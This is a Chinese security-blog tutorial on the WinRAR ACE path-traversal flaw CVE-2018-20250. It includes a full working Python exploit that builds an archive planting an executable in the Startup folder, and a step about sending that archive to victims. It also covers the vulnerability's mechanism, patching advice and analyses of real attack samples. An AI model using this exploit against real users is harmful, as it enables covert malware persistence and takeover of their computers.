[系统安全] 四十.APT系列APT组织常用WinRAR漏洞(CVE-2018-20250)及软件劫持机理
Posted Eastmount
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[系统安全] 四十.APT系列APT组织常用WinRAR漏洞(CVE-2018-20250)及软件劫持机理相关的知识,希望对你有一定的参考价值。
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~
前文带大家学习了网络安全攻防知识点,并以医疗数据安全为基础进行总结。本文将详细介绍WinRAR漏洞(CVE-2018-20250),并介绍该漏洞威胁和分享恶意软件自启动劫持原理。基础性文章,希望对您有所帮助!
希望这些基础原理能更好地帮助大家做好防御和保护,基础性文章,希望对您有所帮助。作者作为网络安全的小白,分享一些自学基础教程给大家,主要是在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔!
作者的github资源:
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!
接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~
- 推荐前文:网络安全自学篇系列-100篇
前文分析:
- [系统安全] 一.什么是逆向分析、逆向分析基础及经典扫雷游戏逆向
- [系统安全] 二.如何学好逆向分析及吕布传游戏逆向案例
- [系统安全] 三.IDA Pro反汇编工具初识及逆向工程解密实战
- [系统安全] 四.OllyDbg动态分析工具基础用法及Crakeme逆向
- [系统安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大战僵尸游戏
- [系统安全] 六.逆向分析之条件语句和循环语句源码还原及流程控制
- [系统安全] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向
- [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及蓝屏攻击
- [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度提权
- [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现
- [系统安全] 十一.那些年的熊猫烧香及PE病毒行为机理分析
- [系统安全] 十二.熊猫烧香病毒IDA和OD逆向分析(上)病毒初始化
- [系统安全] 十三.熊猫烧香病毒IDA和OD逆向分析(中)病毒释放机理
- [系统安全] 十四.熊猫烧香病毒IDA和OD逆向分析–病毒释放过程(下)
- [系统安全] 十五.Chrome浏览器保留密码功能渗透解析、蓝屏漏洞及某音乐软件漏洞复现
- [系统安全] 十六.PE文件逆向基础知识(PE解析、PE编辑工具和PE修改)
- [系统安全] 十七.Windows PE病毒概念、分类及感染方式详解
- [系统安全] 十八.病毒攻防机理及WinRAR恶意劫持漏洞(脚本病毒、自启动、定时关机、蓝屏攻击)
- [系统安全] 十九.宏病毒之入门基础、防御措施、自发邮件及APT28宏样本分析
- [系统安全] 二十.PE数字签名之(上)什么是数字签名及Signtool签名工具详解
- [系统安全] 二十一.PE数字签名之(中)Signcode、PEView、010Editor、Asn1View工具用法
- [系统安全] 二十二.PE数字签名之(下)微软证书漏洞CVE-2020-0601复现及Windows验证机制分析
- [系统安全] 二十三.逆向分析之OllyDbg动态调试复习及TraceMe案例分析
- [系统安全] 二十四.逆向分析之OllyDbg调试INT3断点、反调试、硬件断点与内存断点
- [系统安全] 二十五.WannaCry勒索病毒分析 (1)Python复现永恒之蓝漏洞实现勒索加密
- [系统安全] 二十六.WannaCry勒索病毒分析 (2)MS17-010漏洞利用及病毒解析
- [系统安全] 二十七.WannaCry勒索病毒分析 (3)蠕虫传播机制解析及IDA和OD逆向
- [系统安全] 二十八.WannaCry勒索病毒分析 (4)全网"最"详细的蠕虫传播机制解读
- [系统安全] 二十九.深信服分享之外部威胁防护和勒索病毒对抗
- [系统安全] 三十.CS逆向分析 (1)你的游戏子弹用完了吗?Cheat Engine工具入门普及
- [系统安全] 三十一.恶意代码检测(1)恶意代码攻击溯源及恶意样本分析
- [系统安全] 三十二.恶意代码检测(2)常用技术详解及总结
- [系统安全] 三十三.恶意代码检测(3)基于机器学习的恶意代码检测技术
- [系统安全] 三十四.恶意代码检测(4)编写代码自动提取IAT表、字符串及时间戳溯源地区
- [系统安全] 三十五.Procmon工具基本用法及文件进程、注册表查看
- [系统安全] 三十六.APT系列(1)APT攻击溯源防御与常见APT组织的攻击案例
- [系统安全] 三十七.APT系列(2)远控木马详解与防御及APT攻击中的远控
- [系统安全] 三十八.APT系列(3)恶意代码与APT攻击中的武器(强推Seak老师)
- [系统安全] 三十九.APT系列(4)APT攻防溯源普及和医疗数据安全防御总结
- [系统安全] 四十.APT系列(5)APT组织常用WinRAR漏洞复现(CVE-2018-20250)及恶意软件劫持
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
一.WinRAR漏洞复现
1.复现
WinRAR漏洞(CVE-2018-20250)是Check Point团队于2019年2月爆出的严重安全漏洞,该漏洞已存在于WinRAR中19年,由于WinRAR使用了一个陈旧的UNACEV2.dll动态链接库造成的。当我们解压任意ACE文件时,由于没有对文件名进行充分过滤,导致其可实现目录穿越,将恶意软件写入操作系统启动Startup文件夹,并且电脑重启时会自动运行该程序,从而造成恶意软件劫持。通过该漏洞可以获得受害者计算机的控制。安全专家表示全球有超过5亿用户受到WinRAR漏洞影响。
下面我们先来复现该漏洞。该漏洞会对多种压缩软件造成影响,版本如下:
- WinRAR < 5.70 Beta 1
- Bandizip < = 6.2.0.0
- 好压(2345压缩) < = 5.9.8.10907
- 360压缩 < = 4.0.0.1170
第一步,安装WinRAR 5.6.1的版本,后续5.7升级弥补了该漏洞。作者的电脑是Win10操作系统。
安装之后可以看到本地存在的UNACEV2.DLL动态链接库,它就是被利用的入口。
第二步,从github中下载漏洞利用程序,如下图所示。
- hello.txt和world.txt是需要压缩的文件
- calc.exe是计算器,可以替换成恶意软件,它会被定向植入系统启动目录
- exp.py是运行的Python代码,它会将hello.txt和world.txt压缩,并隐藏恶意软件
- acefile.py是利用UNACEV2.DLL漏洞的代码,共4000多行
下载地址:https://github.com/backlion/CVE-2018-20250
我们尝试打开exp.py文件,代码如下,其中恶意软件为“calc.exe”、压缩包名称为“test.rar”、需要压缩的文件为“hello.txt”和“world.txt”、隐藏的路径为Windows系统开机启动的目录,并命名为“hi.exe”。读者也可以尝试修改名称,自定义需要压缩的文件及恶意软件。
#!/usr/bin/env python3
import os
import re
import zlib
import binascii
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
class AceCRC32:
def __init__(self, buf=b''):
self.__state = 0
if len(buf) > 0:
self += buf
def __iadd__(self, buf):
self.__state = zlib.crc32(buf, self.__state)
return self
def __eq__(self, other):
return self.sum == other
def __format__(self, format_spec):
return self.sum.__format__(format_spec)
def __str__(self):
return "0x%08x" % self.sum
@property
def sum(self):
return self.__state ^ 0xFFFFFFFF
def ace_crc32(buf):
return AceCRC32(buf).sum
def get_ace_crc32(filename):
with open(filename, 'rb') as f:
return ace_crc32(f.read())
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
def modify_hdr_crc(shellcode, filename):
hdr_crc_raw = get_right_hdr_crc(filename)
shellcode_new = shellcode.replace("6789", hdr_crc_raw)
return shellcode_new
def hex2raw4(hex_value):
while len(hex_value) < 4:
hex_value = '0' + hex_value
return hex_value[2:] + hex_value[:2]
def hex2raw8(hex_value):
while len(hex_value) < 8:
hex_value = '0' + hex_value
return hex_value[6:] + hex_value[4:6] + hex_value[2:4] + hex_value[:2]
def get_file_content(filename):
with open(filename, 'rb') as f:
return str(binascii.hexlify(f.read()))[2:-1] # [2:-1] to remote b'...'
def make_shellcode(filename, target_filename):
if target_filename == "":
target_filename = filename
hdr_crc_raw = "6789"
hdr_size_raw = hex2raw4(str(hex(len(target_filename)+31))[2:])
packsize_raw = hex2raw8(str(hex(os.path.getsize(filename)))[2:])
origsize_raw = packsize_raw
crc32_raw = hex2raw8(str(hex(get_ace_crc32(filename)))[2:])
filename_len_raw = hex2raw4(str(hex(len(target_filename)))[2:])
filename_raw = "".join(":x".format(ord(c)) for c in target_filename)
content_raw = get_file_content(filename)
shellcode = hdr_crc_raw + hdr_size_raw + "010180" + packsize_raw \\
+ origsize_raw + "63B0554E20000000" + crc32_raw + "00030A005445"\\
+ filename_len_raw + filename_raw + "01020304050607080910A1A2A3A4A5A6A7A8A9"
return shellcode
def build_file(shellcode, filename):
with open(filename, "wb") as f:
f.write(binascii.a2b_hex(shellcode.upper()))
def build_file_add(shellcode, filename):
with open(filename, "ab+") as f:
f.write(binascii.a2b_hex(shellcode.upper()))
def build_file_once(filename, target_filename=""):
shellcode = make_shellcode(filename, target_filename)
build_file_add(shellcode, rar_filename)
shellcode_new = modify_hdr_crc(shellcode, rar_filename)
content_raw = get_file_content(rar_filename).upper()
build_file(content_raw.replace(shellcode.upper(),
shellcode_new.upper()).replace("01020304050607080910A1A2A3A4A5A6A7A8A9",
get_file_content(filename)), rar_filename)
if __name__ == '__main__':
print("[*] Start to generate the archive file %s..."%(rar_filename))
shellcode_head = "6B2831000000902A2A4143452A2A141402001018564E974FF6AA00000000162A554E524547495354455245442056455253494F4E2A"
build_file(shellcode_head, rar_filename)
for i in range(len(filename_list)):
build_file_once(filename_list[i])
build_file_once(evil_filename, target_filename)
print("[+] Evil archive file %s generated successfully !"%(rar_filename))
第三步,打开Python运行exp.py代码,将自动生成test.rar压缩包。
注意,如果未安装Python或相关包,需要进行安装。同时不能双击exp.py,需要Python来运行代码。
第四步,此时在当前文件夹生成了test.rar文件,将该压缩包发送给其他用户,如果目标电脑存在WinRAR漏洞,则会造成影响。
注意:QQ和Win10防火墙已经能识别出该CVE漏洞号,如下图所示。
第五步,当目标用户在桌面解压该文件夹,则会在电脑启动目录放入我们的木马文件,命名为“hi.exe”。
Win10路径:
C:\\Users\\yxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
这里演示的是计算器,而如果植入恶意软件,则每次目标开机运行就会自启动该恶意代码。
注意:当目标用户解压我们文件时,其解压目录必须是 C:/users/当前用户/目录下,也就是必须是在下面这些目录中解压的该文件。压缩包中隐藏了深层次的路径,xp系统自启动路径可能不同。
2.原理及预防
那么,该漏洞的基本原理是什么呢?
由于该漏洞会对多种压缩软件造成影响,并且该漏洞主要是由于WinRAR解压ACE压缩包采用的动态链接库UNACEV2.dll造成的。其原理是:UNACEV2.dll在处理filename时只校验了CRC,黑客可以通过更改压缩包的CRC校验码来修改解压时的filename并触发这个Path Traversal漏洞。
但是WinRAR本身检测了filename,有一些限制并且普通用户解压RAR文件时不能将我们恶意的Payload解压到需要System权限的文件夹。当用户将文件下载到默认的C:\\Users\\Administrator\\Downloads目录下时,通过构造目录:
C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\StartMenu\\Programs\\Startup\\hi.exe
该目录经过WinRAR的CleanPath函数处理会变成:
C:../AppData\\Roaming\\Microsoft\\Windows\\StartMenu\\Programs\\Startup\\hi.exe
其中C:会被转换成当前路径,如果用WinRAR打开,那么当前路径就是C:\\Program Files\\WinRAR,要是在文件夹中右键解压到xxx,那么当前路径就是压缩包所在的路径。当用户在文件夹中直接右键解压到xxx时,我们恶意的payload解压地址就会变成:
C:\\Users\\Administrator\\Downloads../AppData\\Roaming\\Microsoft\\Windows\\StartMenu\\Programs\\Startup\\hi.exe
这就是当前用户的启动项,从而这样完成了从一个Path Traversal到任意命令执行的过程。
在WinRAR内一直点击进入目录可看到hi.exe的具体信息,如下图所示,可以看到其是ACE压缩文件。
当受害者通过WinRAR直接解压该文件便会触发该漏洞,从而释放内置的恶意程序(hi.exe)到用户windows系统的启动目录内,使得下次重启系统的时候该恶意程序能自动启动运行。
Win10开机自启动如下图所示:
Win7开机自启动如下图所示:
那么,又如何预防该漏洞呢?
当该漏洞爆出之后,很多厂商都升级了压缩软件的版本,不再支持ACE存档格式,比如WinRAR 5.70 Beta 1,并且删除了UNACEV2.dll动态链接库。据Check Point研究人员所述,WinRAR的UNACEV2.dll代码库自2005年以来就一直没有被主动使用过。安全建议如下:
- UNACEV2.dll漏洞不仅限于WinRAR,包括WinRAR在内的多款压缩解压缩工具均存在风险,建议用户将这些软件全部升级到最新版本,推荐使用安全电脑管家的软件管理来完成。
- 直接删除WinRAR安装目录下的UNACEV2.DLL文件,但会造成ACE格式的压缩文件无法使用(不过影响很小,拥有ACE格式专利的商业公司已倒闭十多年了,你完全可以抛弃ACE压缩格式)。
- 切勿随意轻信、打开来历、用途不明的文件。 同时也别担心,QQ传输、Win10自带防火墙都能识别出该漏洞。
二.恶意软件劫持原理
下面作者参考FreeBuf网站腾讯电脑管家的文章,讲述该恶意软件劫持的原理。
强推:WinRAR(CVE-2018-20250)漏洞利用再升级 减少重启系统的依赖 - freebuf腾讯电脑管家
WinRAR漏洞的利用流程图如下所示,恶意ACE文件被受害者解压之后,会释放恶意木马至指定目录(系统自启动文件夹),受害者重启电脑会执行恶意木马。
该漏洞被深入利用的案例如下:
WinRAR高危漏洞被用来传播Lime-RAT远程控制木马
WinRAR(ace格式解压)漏洞备受青睐攻击样本层出不穷
攻击手段升级之后的原理如下图所示:
WinRAR恶意攻击升级案例1
WinRAR漏洞利用结合恶意lnk躲避杀毒软件查杀,同时增加恶意木马执行的概率。
样本文件名为“mirotvorec.rar”,打开压缩包如下图所示:
解压mirotvorec.rar后,发现该压缩包同时还释放了两个lnk文件和一个exe文件。
- 文件1:用户配置目录
%userprofile%\\win.exe - 文件2:开始菜单启动目录
c:\\AppData\\Roaming\\Microsoft\\Windows\\StartMenu\\Programs\\Startup\\Goggle Chrome.lnk - 文件3:桌面快捷方式
c:\\desktop\\GoggleChrome.lnk
对应的二进制如下图所示:
文件1为最终要执行的恶意木马,被释放到了%userprofile%(用户目录)下;文件2和文件3内容完全相同,均伪装为Chrome浏览器的快捷启动方式(为区分攻击者拼写错误,把Google写成了Goggle),但该lnk实际上指向的启动文件为%userprofile%\\win.exe,即文件1。
注意,如果在用户目录直接执行win.exe,还需要输入正确的密码,才会继续执行。密码是上图快捷方式win.exe的执行参数。如果双击goggle chrome.lnk,密码参数会自动执行,不会出现下图提交密码的对话框。
本次攻击与以往利用WinRAR漏洞的攻击方式存在以下差别:
- 为了躲避杀软查杀,最终执行的恶意木马没有释放到系统自启动目录,而是释放到用户目录下。同时,为了确保恶意木马能够在重启后顺利执行,将伪装为Chrome浏览器快捷启动方式的恶意lnk释放到了系统自启动目录,该lnk实际上为恶意木马的快捷启动方式。
- 为了提高恶意木马被执行的概率,同时弥补WinRAR漏洞利用需要重启的缺陷,攻击者还将恶意lnk释放到了桌面,诱导受害者手动点击运行。
- 为了躲避杀毒软件查杀,恶意木马需要输入正确的密码方可执行(这就避免了杀毒厂商的自动分析工具发现异常)。
- 用户重启系统或者双击运行恶意lnk,均可执行恶意木马。
WinRAR恶意攻击升级案例2
恶意bat文件(__Denuncia_Activa_CL.PDF.bat )下载并解压ACE文件,同时强制系统重启,确保恶意木马执行。攻击样本及具体分析如下。
notepad++打开bat文件,文本内容为乱码,发现右下脚提示该文件使用了UCS-2 Little-endian编码。
重新使用16进制编辑器打开bat文件,即可看到真实的文件内容。执行bat文件,首先生成一个随机数,用于重命名即将下载的恶意rar文件。
设置下载目录、文件名等,并启用powershell命令从硬编码的url下载恶意rar文件。
使用WinRAR解压,将恶意木马释放到系统启动项目录,执行“shutdown -r”命令强制重启系统,确保恶意木马能在第一时间启动。
三.总结
写到这里,这篇基础性文章就此结束,最后希望这篇基础性文章对您有所帮助。十二月了,感觉时间过得真快啊。同时,觉得自己的技术好浅,要学的知识好多,读博真心不容易,希望自己这四年能不断成长!
最后谢谢CSDN的实体勋章和无线耳机,很幸运,1024写文混了第一名(因为有小珞)希望今年能写上120篇原创文章,在这么忙碌的博士生涯,能写这些真心不容易,都是挤出来的。
最后感谢CSDN和读者们十年的陪伴,不论外面如何评价CSDN,这里始终是我的家,在这里写文章很温馨,也认识了很多大佬和朋友。此外,个人感觉今年是我近十年文章质量最高的一年,每一篇都写得很用心,都是我的血肉,很多都要自己从零去学习再分享,也希望帮助更多初学者。总之,希望自己还能写二十年,五十年,一辈子。这些年CSDN改进真挺多的,也一直为博主着想,希望越来越好。感恩同行,一起加油喔,以后没准小珞珞接管“Eastmount”这个账号,哈哈!
(By:Eastmount 2021-12-02 夜于武汉 http://blog.csdn.net/eastmount/ )
参考文献:
[1] https://github.com/backlion/CVE-2018-20250
[2] Winrar目录穿越漏洞复现 - 测试渗透中心
[3] Winrar漏洞复现(CVE-2018-20250) - 谢公子大神
[4] WinRAR漏洞CVE-2018-20250攻击样本分析 - freebuf网站 cgf99大神
[5] WinRAR漏洞详细复现过程 - 泽英君
[6] WinRAR(CVE-2018-20250)漏洞利用再升级 减少重启系统的依赖 - freebuf腾讯电脑管家
[7] WinRAR 高危漏洞预警 影响全球数亿台计算机
[8] WinRAR高危漏洞被用来传播Lime-RAT远程控制木马
[9] WinRAR(ace格式解压)漏洞备受青睐攻击样本层出不穷
以上是关于[系统安全] 四十.APT系列APT组织常用WinRAR漏洞(CVE-2018-20250)及软件劫持机理的主要内容,如果未能解决你的问题,请参考以下文章
[系统安全] 四十二.APT系列基于溯源图的APT攻击检测安全顶会论文总结
[系统安全] 四十三.APT系列Powershell和PowerSploit脚本渗透攻击手段详解
[系统安全] 四十四.APT系列Metasploit技术之基础用法万字详解及防御机理
[系统安全] 四十一.APT系列Python解析PE文件并获取时间戳判断来源区域